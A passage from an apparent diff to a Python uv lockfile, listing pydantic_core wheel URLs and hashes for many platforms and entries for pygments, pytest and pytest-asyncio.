"https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" }, + { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" }, + { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" }, + { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" }, + { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" }, + { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" }, + { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" }, + { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" }, + { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" }, + { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" }, + { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" }, + { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" }, + { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" }, + { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" }, + { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" }, + { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" }, + { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" }, + { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" }, + { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" }, + { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" }, + { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" }, + { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" }, + { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" }, + { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" }, + { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" }, + { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" }, + { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" }, + { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" }, + { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" }, + { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" }, + { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" }, + { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" }, + { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" }, + { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" }, + { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" }, + { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" }, + { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" }, + { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" }, + { url = "https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" }, + { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" }, + { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" }, + { url = "https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" }, + { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" }, + { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" }, + { url = "https://files.pythonhosted.org/packages/09/32/59b0c7e63e277fa7911c2fc70ccfb45ce4b98991e7ef37110663437005af/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd", size = 2110495, upload-time = "2025-11-04T13:42:49.689Z" }, + { url = "https://files.pythonhosted.org/packages/aa/81/05e400037eaf55ad400bcd318c05bb345b57e708887f07ddb2d20e3f0e98/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc", size = 1915388, upload-time = "2025-11-04T13:42:52.215Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0d/e3549b2399f71d56476b77dbf3cf8937cec5cd70536bdc0e374a421d0599/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56", size = 1942879, upload-time = "2025-11-04T13:42:56.483Z" }, + { url = "https://files.pythonhosted.org/packages/f7/07/34573da085946b6a313d7c42f82f16e8920bfd730665de2d11c0c37a74b5/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b", size = 2139017, upload-time = "2025-11-04T13:42:59.471Z" }, + { url = "https://files.pythonhosted.org/packages/e6/b0/1a2aa41e3b5a4ba11420aba2d091b2d17959c8d1519ece3627c371951e73/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8", size = 2103351, upload-time = "2025-11-04T13:43:02.058Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ee/31b1f0020baaf6d091c87900ae05c6aeae101fa4e188e1613c80e4f1ea31/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a", size = 1925363, upload-time = "2025-11-04T13:43:05.159Z" }, + { url = "https://files.pythonhosted.org/packages/e1/89/ab8e86208467e467a80deaca4e434adac37b10a9d134cd2f99b28a01e483/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b", size = 2135615, upload-time = "2025-11-04T13:43:08.116Z" }, + { url = "https://files.pythonhosted.org/packages/99/0a/99a53d06dd0348b2008f2f30884b34719c323f16c3be4e6cc1203b74a91d/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2", size = 2175369, upload-time = "2025-11-04T13:43:12.49Z" }, + { url = "https://files.pythonhosted.org/packages/6d/94/30ca3b73c6d485b9bb0bc66e611cff4a7138ff9736b7e66bcf0852151636/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093", size = 2144218, upload-time = "2025-11-04T13:43:15.431Z" }, + { url = "https://files.pythonhosted.org/packages/87/57/31b4f8e12680b739a91f472b5671294236b82586889ef764b5fbc6669238/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a", size = 2329951, upload-time = "2025-11-04T13:43:18.062Z" }, + { url = "https://files.pythonhosted.org/packages/7d/73/3c2c8edef77b8f7310e6fb012dbc4b8551386ed575b9eb6fb2506e28a7eb/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963", size = 2318428, upload-time = "2025-11-04T13:43:20.679Z" }, + { url = "https://files.pythonhosted.org/packages/2f/02/8559b1f26ee0d502c74f9cca5c0d2fd97e967e083e006bbbb4e97f3a043a/pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a", size = 2147009, upload-time = "2025-11-04T13:43:23.286Z" }, + { url = "https://files.pythonhosted.org/packages/5f/9b/1b3f0e9f9305839d7e84912f9e8bfbd191ed1b1ef48083609f0dabde978c/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26", size = 2101980, upload-time = "2025-11-04T13:43:25.97Z" }, + { url = "https://files.pythonhosted.org/packages/a4/ed/d71fefcb4263df0da6a85b5d8a7508360f2f2e9b3bf5814be9c8bccdccc1/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808", size = 1923865, upload-time = "2025-11-04T13:43:28.763Z" }, + { url = "https://files.pythonhosted.org/packages/ce/3a/626b38db460d675f873e4444b4bb030453bbe7b4ba55df821d026a0493c4/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc", size = 2134256, upload-time = "2025-11-04T13:43:31.71Z" }, + { url = "https://files.pythonhosted.org/packages/83/d9/8412d7f06f616bbc053d30cb4e5f76786af3221462ad5eee1f202021eb4e/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1", size = 2174762, upload-time = "2025-11-04T13:43:34.744Z" }, + { url = "https://files.pythonhosted.org/packages/55/4c/162d906b8e3ba3a99354e20faa1b49a85206c47de97a639510a0e673f5da/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84", size = 2143141, upload-time = "2025-11-04T13:43:37.701Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f2/f11dd73284122713f5f89fc940f370d035fa8e1e078d446b3313955157fe/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770", size = 2330317, upload-time = "2025-11-04T13:43:40.406Z" }, + { url = "https://files.pythonhosted.org/packages/88/9d/b06ca6acfe4abb296110fb1273a4d848a0bfb2ff65f3ee92127b3244e16b/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f", size = 2316992, upload-time = "2025-11-04T13:43:43.602Z" }, + { url = "https://files.pythonhosted.org/packages/36/c7/cfc8e811f061c841d7990b0201912c3556bfeb99cdcb7ed24adc8d6f8704/pydantic_core-2.41.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51", size = 2145302, upload-time = "2025-11-04T13:43:46.64Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "pytest" +version = "9.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, + { name = "tomli", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, +] + +[[package]] +name = "pytest-asyncio" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "backports-asyncio-runner", marker = "python_full_version < '3.11'" }, + { name = "pytest" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = 